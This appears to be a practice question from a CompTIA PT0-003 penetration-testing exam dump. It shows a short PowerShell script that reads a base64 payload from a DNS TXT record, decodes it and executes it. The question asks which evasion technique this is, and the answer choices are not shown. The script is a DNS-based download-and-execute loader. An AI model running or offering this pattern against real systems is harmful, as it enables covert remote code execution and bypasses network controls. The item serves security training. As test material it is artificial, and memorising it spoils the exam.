CompTIA PT0-003 Question Answer
A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network:
$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings
$decodecmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64cmd))
Powershell -C $decodecmd
Which of the following best describes the technique the tester is applying?
CompTIA PT0-003 Summary
- Vendor: CompTIA
- Product: PT0-003
- Update on: Dec 16, 2025
- Questions: 272

